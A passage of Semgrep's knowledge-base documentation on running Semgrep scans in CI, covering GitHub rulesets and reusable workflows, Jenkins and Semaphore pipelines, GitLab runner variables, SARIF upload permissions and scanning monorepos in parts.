For GitLab CI, see [Limit the number of changes fetched during clone](https://docs.gitlab.com/ee/ci/pipelines/settings.html#limit-the-number-of-changes-fetched-during-clone) for instructions on configuring this value.
### GitHub Actions clone behavior
Semgrep has built-in behavior in GitHub Actions to fetch additional commits if the initial clone does not provide sufficient information, so GitHub Actions rarely encounter failures of the `git merge-base` command.
However, if Semgrep is showing findings in GitHub pull requests that were not introduced by the pull request, you can set the variable [`SEMGREP_GHA_MIN_FETCH_DEPTH`](/semgrep-ci/ci-environment-variables/#semgrep_gha_min_fetch_depth) to a higher value to improve the accuracy of the merge-base calculation. This value is the starting value used for fetching additional commits. The default is 0.
## Commit or branch not included in the checkout
As with clone depth, which refs are checked out can vary depending on the CI environment and configuration. If the branch or ref to scan, or the related baseline ref, is not cloned or not checked out, the command that failed is typically:
git cat-file -e REF
with the message `Not a valid object name REF`. This is more common when:
* You are using a standalone CI service, rather than one connected to your SCM.
* You have manually set `--baseline-commit` or `SEMGREP_BASELINE_REF` to a commit hash or branch name.
To resolve this issue, ensure that you have set the baseline ref to a valid ref, and that the ref to scan is checked out in the CI environment.
## Unable to use `--merge-base` option to `git diff` in git versions before 2.30
When running diff scans against a baseline, Semgrep executes the `git diff` command with a `--merge-base` option to correctly calculate the desired diff based on where the current tree branched from the baseline. This option was added to the `git diff` command in git 2.30. If you are running an earlier version of `git`, this command may fail.
To run the scan successfully:
* If possible, update your git version.
* If that's not possible, consider executing the scan using the Semgrep Docker container, which includes a recent version of git.
# Use GitHub repository rulesets to implement Semgrep
Source: https://docs.semgrep.dev/kb/semgrep-ci/github-repository-rulesets-semgrep
Use [GitHub repository rulesets](https://docs.github.com/en/enterprise-cloud@latest/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/creating-rulesets-for-a-repository#introduction) to quickly implement Semgrep scans across hundreds or thousands of repositories in your GitHub organization.
Repository rulesets allow you to add a Semgrep scan as a workflow that is [required for pull requests to pass before merging](https://docs.github.com/en/enterprise-cloud@latest/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/available-rules-for-rulesets#require-workflows-to-pass-before-merging). Formerly, this feature was called [required workflows](https://github.blog/changelog/2023-08-02-github-actions-required-workflows-will-move-to-repository-rules/).
Repository rulesets use a centralized workflow file to execute the Semgrep scan action, meaning you can run scans on pull requests in as many repositories as desired by creating a single file.
## Set up the central Semgrep scan workflow
To use the Semgrep workflow in other repositories owned by your organization, you can create a new repository in the organization with the Semgrep workflow file, or add it to an existing repository where you store common workflows. This example describes creating the workflow in a new repository called `semgrep-workflow`.
Create a new repository following the [GitHub documentation](https://docs.github.com/en/get-started/quickstart/create-a-repo).
Name the repository `semgrep-workflow`.
Choose the repository visibility that matches the widest visibility of the repositories you want to run the workflow in. For example, if you want to run Semgrep on public, internal, and private repositories, the repository containing the workflow file must be public.
Add the Semgrep workflow file to the repository at `.github/workflows/semgrep.yml`. You can use the [sample configuration](/semgrep-ci/sample-ci-configs/#sample-github-actions-configuration-file) provided in the documentation, or a [custom configuration](/deployment/customize-ci-jobs).
This example repository is internal, so it can only be used to store workflows that run on internal and private repositories.
### Behavior with bot-initiated commits
The default Semgrep GitHub Actions configuration excludes any PRs or commits from GitHub's `dependabot` to prevent permissions errors. If you have other bots or automations active in your organization's workflows, consider excluding these bots as well. Otherwise, the action may error due to bot permissions, or it may simply not be useful to run a Semgrep scan on changes made by an automation. For example, to exclude both `dependabot` and other GitHub Actions, include:
```yaml theme={null}
if: github.actor != 'dependabot[bot]' && github.actor != 'github-actions'
```
### Recommended configuration with merge queues
If you use [merge queues](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue) for repositories scanned with this workflow, your config must include `merge_group` as a trigger in the `on:` block. Otherwise, [the workflow cannot run in the merge queue](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-a-merge-queue#triggering-merge-group-checks-with-github-actions) and can block the queue.
Unlike for `pull_request` event types, Semgrep does not have any automatic configuration to run diff-aware scans on `merge_group` events, so additional configuration is needed to run diff-aware scans in this environment. The most straightforward solution is to configure the workflow to be skipped during the merge group check, since the primary goal of a Semgrep diff-aware scan is to inform the developer **before** merging if they are introducing security issues.
With the recommended alterations and removal of event types that do not occur with repository rulesets, the [sample configuration](/semgrep-ci/sample-ci-configs/#sample-github-actions-configuration-file) would look like this:
```yaml expandable theme={null}
name: Semgrep
on:
pull_request: {}
workflow_dispatch: {}
merge_group:
types: [checks_requested]
jobs:
semgrep:
name: semgrep/ci
runs-on: ubuntu-latest
container:
image: semgrep/semgrep
# Skip any PR created by dependabot and any check triggered by merge group
if: (github.actor != 'dependabot[bot]') && (github.event != 'merge_group')
steps:
- uses: actions/checkout@v6
- run: semgrep ci
env:
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
```
## Configure repository workflow access
The repository containing the Semgrep workflow must allow access to workflows from other repositories in the organization.
To configure access:
In the repository containing the Semgrep workflow, click **Settings > Actions > General**.
In the **Access** section, select one of the **Accessible from** options to make the repository workflows accessible to your organization.
## Configure an organization secret
To run a scan using `semgrep ci`, Semgrep requires a valid token. When configuring Semgrep as a required workflow for multiple repositories, set up the token as an organization secret.
**INFO**
If you use a custom `semgrep.yml` configuration, ensure you refer to the secret as `${{ secrets.SEMGREP_APP_TOKEN }}` in your configuration. For the required workflow, this refers to the organization secret.
Click **Create new token** on **Settings > [Tokens](https://semgrep.dev/orgs/-/settings/tokens)** in the Semgrep AppSec Platform.
Ensure the **Agent (CI)** scope is checked for the token.
Copy the token value for use on GitHub, and click **Save**.
Create an organization secret, following the [GitHub documentation](https://docs.github.com/en/enterprise-cloud@latest/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-an-organization).
Name the secret `SEMGREP_APP_TOKEN`.
Paste the value you copied from the Semgrep AppSec Platform.
Select a value for **Repository access** that matches the repositories you intend to scan with the workflow.
Click **Add secret**.
## Create an organization ruleset
To create the ruleset:
Go to your GitHub organization page and click **Settings**.
Under **Code, planning, and automation**, click **Repository** and then **Repository rulesets**.
.
Click **New branch ruleset**.
Configure the enforcement status, bypass list, target repositories, and target branches based on your organization policies.
Under **Branch protections**, check the box **Require workflows to pass before merging**.
Click **Add workflow**.
In the **Add required workflow** modal, select the repository where you placed the Semgrep workflow.
Then, select the branch, tag, or commit to use.
In the **Pick a workflow file** field, click and select the Semgrep workflow you created in [Setting up the central Semgrep scan workflow](#set-up-the-central-semgrep-scan-workflow).
Click **Add workflow**.
Click **Create** to create the ruleset.
Refer to GitHub's [Creating rulesets for repositories in your organization](https://docs.github.com/en/enterprise-cloud@latest/organizations/managing-organization-settings/creating-rulesets-for-repositories-in-your-organization) for more general guidance on creating a ruleset for your organization.
## Verify by creating a pull request
After completing the preceding steps, create a pull request in an affected repository to verify the workflow runs as expected.
Identify a repository targeted by the organization ruleset you created in the previous section.
Create a pull request in that repository, following the [GitHub documentation](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request).
After creating the pull request, review the checks and ensure the Semgrep workflow ran as expected.
The required workflow allows merge if the scan is successful, or blocks the pull request if the scan has blocking findings.
## Limitations
Workflows required by repository rulesets are only triggered by `pull_request` or `merge_group` events. When triggered for a pull request, Semgrep runs a [diff-aware scan](/deployment/customize-ci-jobs#set-up-diff-aware-scans), which only scans changed files.
To run full scans (scan all files) for your organization's repositories as well, you would need to supplement this setup with another approach, such as [reusable workflows](/kb/semgrep-ci/github-reusable-workflows-semgrep).
# Set up reusable GitHub workflows for Semgrep scans
Source: https://docs.semgrep.dev/kb/semgrep-ci/github-reusable-workflows-semgrep
Reusable workflows allow you to simplify the process of configuring `.github/workflows/semgrep.yml` files for each of your repositories. You define a workflow once in a central repository, then reuse it in workflows in other repositories. This [avoids duplication](https://docs.github.com/en/actions/using-workflows/reusing-workflows#overview) and makes maintenance easier.
Reusable workflows can be triggered by several types of events, including push, pull request, and schedule. This makes them relatively flexible compared to repository rulesets. Repository rulesets or branch protection rules can only be triggered by pull request event types.
## Set up a reusable workflow
Create a new repository to hold your reusable workflow, and add a `.github/workflows/semgrep.yml` file.
Add the job configuration to `semgrep.yml` under `jobs:`. You can use the job definition from the [recommended snippet](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) or your current job configuration.
Under the `on:` key, add `workflow_call`. This defines the condition to trigger the job described in the reusable workflow: when another repository calls it. Other keys under `on:` are optional for the reusable workflow.
In each repository where you want your reusable workflow called, create or update the `semgrep.yml` file to call the reusable workflow. To do this, include `uses` under the `jobs:` key as shown in the following sample configuration.
```
name: Semgrep
on:
# Scan changed files in PRs (diff-aware scanning):
pull_request: {}
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Schedule the CI job (this method uses cron syntax):
schedule:
# Please change the cron schedule to a random time to avoid load spikes on GHA.
- cron: '24 13 * * *' # Sets Semgrep to scan every day at 13:24 UTC.
jobs:
call-semgrep:
uses: {ORG}/{REPO}/.github/workflows/semgrep.yml@main
secrets: inherit
```
When using this sample configuration, be sure to update the schedule under `on` to a random time, and set repository details and path for the reusable workflow under `jobs` to match where you stored your reusable workflow.
The `secrets: inherit` line passes the secrets from the calling workflow to the called workflow, so each calling repository must also have a `SEMGREP_APP_TOKEN` secret added. GitHub [does not currently support](https://github.com/github/roadmap/issues/636) passing secrets from a central reusable workflow (the called workflow) to the calling workflows.
## Run a scan
Once you've configured the workflows for your repositories, the reusable workflow is called whenever a triggering event occurs, such as when a developer opens a pull request or commits a change.
## Limitations
As described in [Set up a reusable workflow](#set-up-a-reusable-workflow), you must create a `.github/workflows/semgrep.yml` file for each repository to call the reusable workflow **and** add a `SEMGREP_APP_TOKEN` secret to the repository. This is in contrast to [repository rulesets](/kb/semgrep-ci/github-repository-rulesets-semgrep), which only require the central workflow file to be added.
# Why aren't findings populating in the GitHub Advanced Security Dashboard after running Semgrep in CI?
Source: https://docs.semgrep.dev/kb/semgrep-ci/github-upload-findings-in-security-dashboard
When scanning with Semgrep in CI, findings automatically populate in Semgrep AppSec Platform. To show findings in the GitHub Advanced Security Dashboard, run an alternate job that uploads findings to the dashboard in the form of a `SARIF` file. See [Sample GitHub Actions configuration file](/semgrep-ci/sample-ci-configs/#sample-github-actions-configuration-file) for an example.
If you run the alternate job and it fails with a "resource not accessible by integration" error, there are two possible causes.
## Your repository's workflow permissions are set to read-only
Repository-level workflow permissions are set to `read-only` (default) unless they've previously been changed. Use of the `permissions` key within the workflow file does not override this setting.
To update this setting:
Navigate to your organization or repository in GitHub.
Click **Settings > Actions > General > Workflow permissions**.
Target permissions
**INFO**
Changing the repository's default workflow permissions changes the permissions for all workflows in that repository. Use of the `permissions` key will not override this setting, so updating it is a required step. Learn more about the `permissions` key at [Assigning permissions to jobs](https://docs.github.com/en/actions/using-jobs/assigning-permissions-to-jobs#setting-the-github_token-permissions-for-all-jobs-in-a-workflow), or review the example workflow-level permissions below.
## The workflow or job does not have the correct permissions in a private repository
In order for Semgrep findings in a private repository to appear on the GitHub Advanced Security Dashboard, you must ensure that the appropriate permissions are configured at the workflow level using the `permissions` key. See the following example.
### Example job configuration with `permissions` key
This job only requires `write` permissions for `security-events`.
```yml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep
on:
pull_request: {}
workflow_dispatch: {}
push:
branches: ["master", "main"]
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
jobs:
semgrep:
name: semgrep/ci
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
if: (github.actor != 'dependabot[bot]')
permissions:
# required for all workflows
security-events: write
# for workflows in private repos
actions: read
contents: read
steps:
- uses: actions/checkout@v6
- run: semgrep ci --sarif > semgrep.sarif
env:
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
- name: Upload SARIF file for GitHub Advanced Security Dashboard
uses: github/codeql-action/upload-sarif@v2
with:
sarif_file: semgrep.sarif
if: always()
```
# Scan GitHub projects in Jenkins
Source: https://docs.semgrep.dev/kb/semgrep-ci/jenkins-diff-scans
This document shows you how to configure Jenkins pipelines to scan code hosted in GitHub repositories.
The configuration described in this document is intended to run full scans on your default branch `main` and diff-aware scans on pull request (PR) branches. It sets up a Multibranch Pipeline project using `when` conditions in the Jenkinsfile and provides access to the variables needed for diff-aware scans.
**INFO**
Your UI (user interface) may vary depending on your Jenkins installation. This document references the Classic UI.
## Create the Jenkinsfile
Create the `Jenkinsfile` in the root of your repository based on the following code snippet, which uses Jenkins declarative syntax and runs Semgrep in Docker:
```bash expandable theme={null}
pipeline {
agent any
environment {
// Required for a Semgrep AppSec Platform-connected scan:
SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
// Set typical project (repo) name
SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/github.com\/(.*)$/, '$1')
}
stages {
stage('semgrep-scan') {
steps {
sh '''docker pull semgrep/semgrep && \
docker run \
-e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
-v "$(pwd):$(pwd)" --workdir $(pwd) \
semgrep/semgrep semgrep ci '''
}
}
}
}
```
Semgrep %%diff-aware scans|diff\_aware\_scan%% can be set up in several different ways using Jenkins. This example sets up a Multibranch Pipeline using `when` conditions in the Jenkinsfile. The Multibranch Pipeline provides access to useful variables for the diff-aware scan configuration. The intent of the configuration is to run full scans on the default branch and diff-aware scans on PR branches.
### Create the Jenkinsfile
To start the process, create the initial `Jenkinsfile` in the root of the repository where you're setting up Semgrep. This code snippet uses Jenkins declarative syntax and runs Semgrep in Docker.
```bash expandable theme={null}
pipeline {
agent any
environment {
// Required for a Semgrep Cloud Platform-connected scan:
SEMGREP_APP_TOKEN = credentials('SEMGREP_APP_TOKEN')
// Set repo name to expected format
SEMGREP_REPO_NAME = env.GIT_URL.replaceFirst(/^https:\/\/github.com\/(.*)$/, '$1')
}
stages {
stage('semgrep-diff-scan') {
when {
branch "PR-*"
}
steps {
sh '''git fetch --no-tags --force --progress -- $GIT_URL +refs/heads/$CHANGE_TARGET:refs/remotes/origin/$CHANGE_TARGET
git checkout -b $CHANGE_TARGET origin/$CHANGE_TARGET
git checkout $GIT_BRANCH
'''
sh '''docker pull semgrep/semgrep && \
docker run \
-e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
-e SEMGREP_BASELINE_REF=$(git merge-base $GIT_BRANCH $CHANGE_TARGET) \
-e SEMGREP_PR_ID="${env.CHANGE_ID}"
-v "$(pwd):$(pwd)" --workdir $(pwd) \
semgrep/semgrep semgrep ci '''
}
}
stage('semgrep-scan') {
when {
branch "main"
}
steps {
sh '''docker pull semgrep/semgrep && \
docker run \
-e SEMGREP_APP_TOKEN=$SEMGREP_APP_TOKEN \
-e SEMGREP_REPO_NAME=$SEMGREP_REPO_NAME \
-v "$(pwd):$(pwd)" --workdir $(pwd) \
semgrep/semgrep semgrep ci '''
}
}
}
post {
// Clean after build
always {
cleanWs()
}
}
}
```
This Jenkinsfile uses a `SEMGREP_APP_TOKEN` [stored in the Jenkins instance credentials store](https://www.jenkins.io/doc/book/security/credentials/#working-with-credentials).
It defines two Semgrep stages: one runs a full scan of the main branch, while the other runs a diff-aware scan of the PR branch. The diff-aware scan configuration uses a computed merge base rather than setting the merge base to the default branch. This is similar to how Semgrep runs in GitHub actions. Setting the `SEMGREP_REPO_NAME` and `SEMGREP_PR_ID` allows Semgrep to identify the connected project and related PR.
To compute the merge base, the pipeline runs additional Git commands to ensure the default branch is available to Git. Afterward, the pipeline cleans the workspace, ensuring that subsequent use of these commands for future scans is successful.
**INFO**
When possible, use a computed merge base. Diff-aware scans may produce spurious results if you set `SEMGREP_BASELINE_REF` to `main` or another primary branch and either of the following conditions apply:
* The remote branch has been updated independently of the PR branch
* The branch isn't available locally because you haven't run `git fetch` or `git checkout`, as shown in the example in this document
## Configure the Multibranch Pipeline project
Log in to Jenkins, and click **New Item**.
Provide a name for your project, select **Multibranch Pipeline**, and click **OK**.
Under **Branch Sources**, click **Add source** and select **GitHub**.
Select **Repository HTTPS URL** and provide your project URL in the following format: `https://github.com///`.
Under **Behaviors > Discover branches > Strategy**, select **Exclude branches that are also filed as PRs**.
For **Discover pull requests from origin > Strategy**, select **The current pull request revision**.
For **Property strategy**, select **All branches get the same properties**.
Under **Build Configuration**, for **Mode**, select **by Jenkinsfile**, and enter the script path as `Jenkinsfile`.
Optional: Under **Scan Multibranch Pipeline Triggers**, select **Periodically if not otherwise run** if you want to run the pipeline occasionally, if it's not run for other reasons, and choose the desired interval.
Optional: Under **Orphaned Item Strategy**, select **Discard old items** and select the desired time interval and number of items, so that you donβt lose logs for deleted branches immediately.
Click **Save** to proceed.
### Add GitHub webhooks
If your Jenkins instance is already configured to manage webhooks automatically on GitHub, these steps are not necessary. To review the settings and view the webhook URL, go to **Manage Jenkins > System Configuration > System > GitHub**. Expand the next to **GitHub Servers** to see the webhook URL, and review the information provided to determine whether hooks are managed automatically. If not, follow these steps:
Go to the repository on GitHub.
Go to **Settings** > **Webhooks**.
Click **Add webhook**.
In **Payload URL**, enter your Jenkins instance's webhook URL. This URL is in the form `$JENKINS_BASE_URL/github-webhook/`.
For **Content type**, select **application/json**.
Under **Which events would you like to trigger this webhook?** select **Send me everything**.
Click **Add webhook** to proceed.
# Receive Semgrep MR comments through a GitLab runner
Source: https://docs.semgrep.dev/kb/semgrep-ci/mr-comments-through-gitlab-runner
Generally, Semgrep recommends using the [ GitLab merge request pipeline](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html) to receive MR comments. This method is used in the default [Semgrep GitLab config file](/semgrep-ci/sample-ci-configs/#sample-github-actions-configuration-file).
However, you can also receive comments through your own [ GitLab runner](https://docs.gitlab.com/runner/) by setting the following variables in your CI job:
```sh theme={null}
export GITLAB_CI='true'
export CI_PROJECT_PATH='USERNAME/PROJECTNAME'
export CI_MERGE_REQUEST_PROJECT_URL='https://gitlab.com/USERNAME/PROJECTNAME'
export CI_PROJECT_URL="$CI_MERGE_REQUEST_PROJECT_URL"
export CI_COMMIT_SHA='COMMIT-SHA-VALUE'
export CI_COMMIT_REF_NAME='REF'
export CI_MERGE_REQUEST_TARGET_BRANCH_NAME='BRANCH_NAME'
export CI_JOB_URL='JOB_URL'
export CI_PIPELINE_SOURCE='merge_request_event'
export CI_MERGE_REQUEST_IID='REQUEST_IID'
export CI_MERGE_REQUEST_DIFF_BASE_SHA='SHA'
export CI_MERGE_REQUEST_TITLE='MERGE_REQUEST_TITLE'
```
Replace magenta-colored placeholders in the preceding code snippet with your specific values (for example USERNAME).
For more information on all of these variables see GitLab documentation [Predefined variables reference](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html).
Example with sample values:
```sh theme={null}
export GITLAB_CI='true'
export CI_PROJECT_PATH="gitlab-org/gitlab-foss"
export CI_MERGE_REQUEST_PROJECT_URL="https://example.com/gitlab-org/gitlab-foss"
export CI_PROJECT_URL="$CI_MERGE_REQUEST_PROJECT_URL"
export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
export CI_COMMIT_REF_NAME="main"
export CI_MERGE_REQUEST_TARGET_BRANCH_NAME="main"
export CI_JOB_URL="https://gitlab.com/gitlab-examples/ci-debug-trace/-/jobs/379424655"
export CI_PIPELINE_SOURCE='merge_request_event'
export CI_MERGE_REQUEST_IID="1"
export CI_MERGE_REQUEST_DIFF_BASE_SHA="1ecfd275763eff1d6b4844ea6874447h694gh23d"
export CI_MERGE_REQUEST_TITLE="Testing branches"
```
# Why are there new source code manager (SCM) connections that I didn't manually configure listed in Semgrep AppSec Platform?
Source: https://docs.semgrep.dev/kb/semgrep-ci/new-scm-connections
If you initiate Semgrep scans using GitHub Actions or GitLab CI/CD pipeline, Semgrep may automatically create new SCM connections and add the accompanying projects to Semgrep AppSec Platform. This can happen if the CI job has sufficient permissions through the access token you provide to create the connection between Semgrep and GitHub or GitLab.
The projects associated with the newly created SCM connections are listed in Semgrep AppSec Platform on the **Projects > Not scanning** page. They are not automatically scanned by Semgrep.
# Does Semgrep scan compressed files or other non-code files?
Source: https://docs.semgrep.dev/kb/semgrep-ci/scan-compressed-files-artifacts
Semgrep is a pre-build security tool optimized to search for code and text patterns. It does not scan the files within a compressed archive, nor does it scan binaries (built files).
## How can I scan the files inside a compressed archive file?
To scan code or text files that are stored in a compressed archive file with Semgrep, uncompress the files before performing the scan. When the scan is complete, delete the temporary files that were created.
For local scans, this can be done manually. For scans in CI, add appropriate actions to the CI config.
When implementing this method, it's optimal to place the compressed files in a consistent location, so that Semgrep can detect that any findings within the temporary files are the same across scans.
### What are the limitations of this approach?
When possible, Semgrep AppSec Platform generates hyperlinks to a finding's location within a repository and file. If the file is not persistent in the repository, and is scanned at a temporary path, then the hyperlink will lead to that temporary path and will not work properly. This may make it more difficult for developers to identify where and how to fix issues identified in the temporary files.
Currently, it is not possible to uncompress files before running a scan in [Semgrep Managed Scans](/deployment/managed-scanning/overview).
# Scanning a monorepo in parts
Source: https://docs.semgrep.dev/kb/semgrep-ci/scan-monorepo-in-parts
With default CI configurations, monorepos will be scanned as a single project in Semgrep. However, monorepos very often contain a large amount of code and the code is usually divided into to different components or modules.
As such, it can be helpful to scan a monorepo in parts for multiple reasons:
* To improve scan performance in CI and reduce CI run times
* To logically split the monorepo to simplify managing findings
**NOTE**
Historical secrets scanning relies on examining the entire repo commit history and cannot be split up by path as other scan types like Code, Supply Chain, or Secrets. As such, it is recommended to turn off historical secrets when splitting up a monorepo by path.
## How to configure Semgrep in CI to split up a monorepo
When scanning a repo with Semgrep in CI, the base command is `semgrep ci`. To understand this default setup for your source code manager (SCM) and CI provider, see [Getting started with Semgrep in continuous integration (CI)](/deployment/add-semgrep-to-ci).
There are two features provided by Semgrep to split up a repo. Consider a monorepo named `monorepo` with four main modules:
```bash theme={null}
/src/moduleA
/src/moduleB
/src/moduleC
/src/moduleD
```
The easiest way to split this monorepo up is into four separate scans, one for each module. To do this, use the `--subdir` flag with the relevant path to only scan files in that module's code path:
```bash theme={null}
semgrep ci --subdir src/moduleA/
```
In addition to scanning `src/moduleA/`, this command sends the results to a project called `monorepo/src/moduleA`. If you want to change the project name, set the `SEMGREP_REPO_DISPLAY_NAME` environment variable, available since Semgrep version 1.61.1.
For example:
```bash theme={null}
SEMGREP_REPO_DISPLAY_NAME=monorepo/moduleA semgrep ci --subdir src/moduleA/
```
It is important that scans of different modules never have the same `SEMGREP_REPO_DISPLAY_NAME`. This is necessary to ensure findings have a consistent status and is helpful for developers and security engineers to understand which findings pertain to the module that they are responsible for.
To scan the entire monorepo, trigger one scan for each module.
**INFO**
You must only change `SEMGREP_REPO_DISPLAY_NAME`. Ensure that `SEMGREP_REPO_NAME` is still properly set (either automatically if using a [supported SCM and CI provider](/semgrep-ci/sample-ci-configs#feature-support) or [explicitly](/semgrep-ci/ci-environment-variables#semgrep_repo_name)) as with any Semgrep scan, in order to retain hyperlink and PR/MR comment functionality.
The `--subdir` flag takes a single folder as input. If you want to scan multiple folders as part of one scan, you will have to use `--include` and `--exclude` ([see CLI reference](/cli-reference)) to tell Semgrep what paths to include. This performs file targeting across the whole monorepo. but only analyzes the included files.
Unlike `--subdir`, `--include` and `--exclude` don't automatically direct results to a corresponding project, so you always have to set `SEMGREP_REPO_DISPLAY_NAME`.
Here's an example using `--include`.
```bash theme={null}
SEMGREP_REPO_DISPLAY_NAME=monorepo/moduleAB semgrep ci --include=src/moduleA/ --include=src/moduleB/
```
**INFO**
WARNING: if `--include` and `--exclude` are used in a `semgrep ci` scan without setting `SEMGREP_REPO_DISPLAY_NAME`, that scan might close findings that aren't detected because that part of the repo was not scanned.
### Examples using GitHub Actions
The following examples each provide a GitHub Actions workflow file. This is 1 of 4 workflow files you would need to set up all the necessary scans. Each workflow file corresponds to a module of the monorepo you would like to scan and treat as a separate project in Semgrep AppSec Platform. Place all the files in the monorepo's `.github/workflows/` folder.
You can name each workflow file whatever you like, but it may be helpful to name it after the module it corresponds to. In this example, something like `semgrep_moduleA.yml` would be ideal.
#### With `--subdir`
```yaml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep - moduleA
on:
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Scan changed files in PRs (diff-aware scanning):
pull_request:
# Restrict the workflow to only run for files changed in a PR at the desired module path:
paths:
- 'src/moduleA/**'
# Run a full scan when the Semgrep workflow file is changed:
push:
paths:
- '.github/workflows/semgrep_moduleA.yml'
# Schedule a daily full scan CI job (this method uses cron syntax):
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
# It is recommended to change the schedule to a random time.
jobs:
semgrep:
# User definable name of this GitHub Actions job.
name: semgrep/ci
# If you are self-hosting, change the following `runs-on` value:
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
# Skip any PR created by dependabot to avoid permission issues:
if: (github.actor != 'dependabot[bot]')
steps:
# Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
- uses: actions/checkout@v6
# Run the "semgrep ci" command on the command line of the docker image.
- run: semgrep ci --subdir=src/moduleA/
env:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it to your GitHub secrets.
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
```
#### With `--include`
```yaml expandable theme={null}
# Name of this GitHub Actions workflow.
name: Semgrep - moduleA
on:
# Scan on-demand through GitHub Actions interface:
workflow_dispatch: {}
# Scan changed files in PRs (diff-aware scanning):
pull_request:
# Restrict the workflow to only run for files changed in a PR at the desired module path:
paths:
- 'src/moduleA/**'
# Run a full scan when the Semgrep workflow file is changed:
push:
paths:
- '.github/workflows/semgrep_moduleA.yml'
# Schedule a daily full scan CI job (this method uses cron syntax):
schedule:
- cron: '20 17 * * *' # Sets Semgrep to scan every day at 17:20 UTC.
# It is recommended to change the schedule to a random time.
jobs:
semgrep:
# User definable name of this GitHub Actions job.
name: semgrep/ci
# If you are self-hosting, change the following `runs-on` value:
runs-on: ubuntu-latest
container:
# A Docker image with Semgrep installed. Do not change this.
image: semgrep/semgrep
# Skip any PR created by dependabot to avoid permission issues:
if: (github.actor != 'dependabot[bot]')
steps:
# Fetch project source with GitHub Actions Checkout. Use either v3 or v4.
- uses: actions/checkout@v6
# Run the "semgrep ci" command on the command line of the docker image.
- run: semgrep ci --include=src/moduleA/
env:
# Connect to Semgrep AppSec Platform through your SEMGREP_APP_TOKEN.
# Generate a token from Semgrep AppSec Platform > Settings
# and add it to your GitHub secrets.
SEMGREP_APP_TOKEN: ${{ secrets.SEMGREP_APP_TOKEN }}
# Set the display name of the project in Semgrep AppSec Platform
SEMGREP_REPO_DISPLAY_NAME: semgrep/monorepo/moduleA
```
# Add Semgrep to your Semaphore pipeline
Source: https://docs.semgrep.dev/kb/semgrep-ci/semaphore-pipelines
This document shows you how to add Semgrep into Semaphore.
In Semaphore:
Create a secret with your `SEMGREP_APP_TOKEN`.
Open the YAML pipeline for your project using the Visual Editor.
Click **+Add Block**.
Expand **Jobs**, and add the following commands to perform a full scan:
```bash theme={null}
checkout
pipx install semgrep
semgrep ci
```
Enable the secret that you created in Step 1. To do this, expand **Secret**, and select `SEMGREP_APP_TOKEN`.
Click **Run the workflow**, provide a **Commit summary**, and click **Looks good, Start** to save your changes and run the pipeline job.
### Sample Semaphore configuration snippet
The following configuration creates a CI job that runs scans using the products and options you have enabled in Semgrep AppSec Platform.
```yaml expandable theme={null}
version: v1.0
name: Semaphore Semgrep Example
agent:
machine:
type: f1-standard-2
os_image: ubuntu2204
blocks:
- name: Semgrep
task:
jobs:
# Job performing a full scan
- name: Semgrep Full Scan
commands:
- checkout
- pipx install semgrep
- semgrep ci
# Job performing a diff scan for PR/branches
- name: Semgrep Diff-aware Scan
commands:
- checkout
- export SEMGREP_BRANCH=$SEMAPHORE_GIT_BRANCH
- export SEMGREP_BASELINE_COMMIT=$SEMAPHORE_GIT_SHA
- pipx install semgrep
- semgrep ci
# import a secret named 'semgrep' with the SEMGREP_APP_TOKEN
secrets:
- name: SEMGREP_APP_TOKEN
```
You can **run specific product scans** by passing an argument, such as `--supply-chain`. View the [list of arguments](/getting-started/cli/#scan-using-specific-semgrep-products).
The following configuration creates a CI job that runs Semgrep CE scans using rules configured for your programming language.
```yaml theme={null}
version: v1.0
name: Semaphore Semgrep CE Example
agent:
machine:
type: f1-standard-2
os_image: ubuntu2204
blocks:
- name: Semgrep
task:
jobs:
# Job performing a full scan using Semgrep CE
- name: Semgrep CE Scan
commands:
- checkout
- pipx install semgrep
- semgrep scan
```
You can customize the scan by entering custom rules or other rulesets to scan with. See [Scan your codebase with a specific ruleset](/customize-semgrep-ce#scan-your-codebase-with-a-specific-ruleset).
# How to trigger diff-aware scans
Source: https://docs.semgrep.dev/kb/semgrep-ci/trigger-diff-scans-env-var
When working with a CI provider, you can set Semgrep to run **[diff-aware scans](/deployment/customize-ci-jobs#set-up-diff-aware-scans)** as well as full scans. Diff-aware scans run on your code before and after some baseline, and only report findings newly introduced in the commits after that baseline.
To add this configuration in Azure Pipelines, follow the general instructions provided in [Sample CI configurations: Azure Pipelines](/semgrep-ci/sample-ci-configs#azure-pipelines). If your repository's default branch is not `main`, change the references to `main` to the name of your default branch.
```yaml theme={null}
steps:
- checkout: self
clean: true
fetchDepth: 20
persistCredentials: true
- script: |
python -m pip install --upgrade pipx
pipx install semgrep
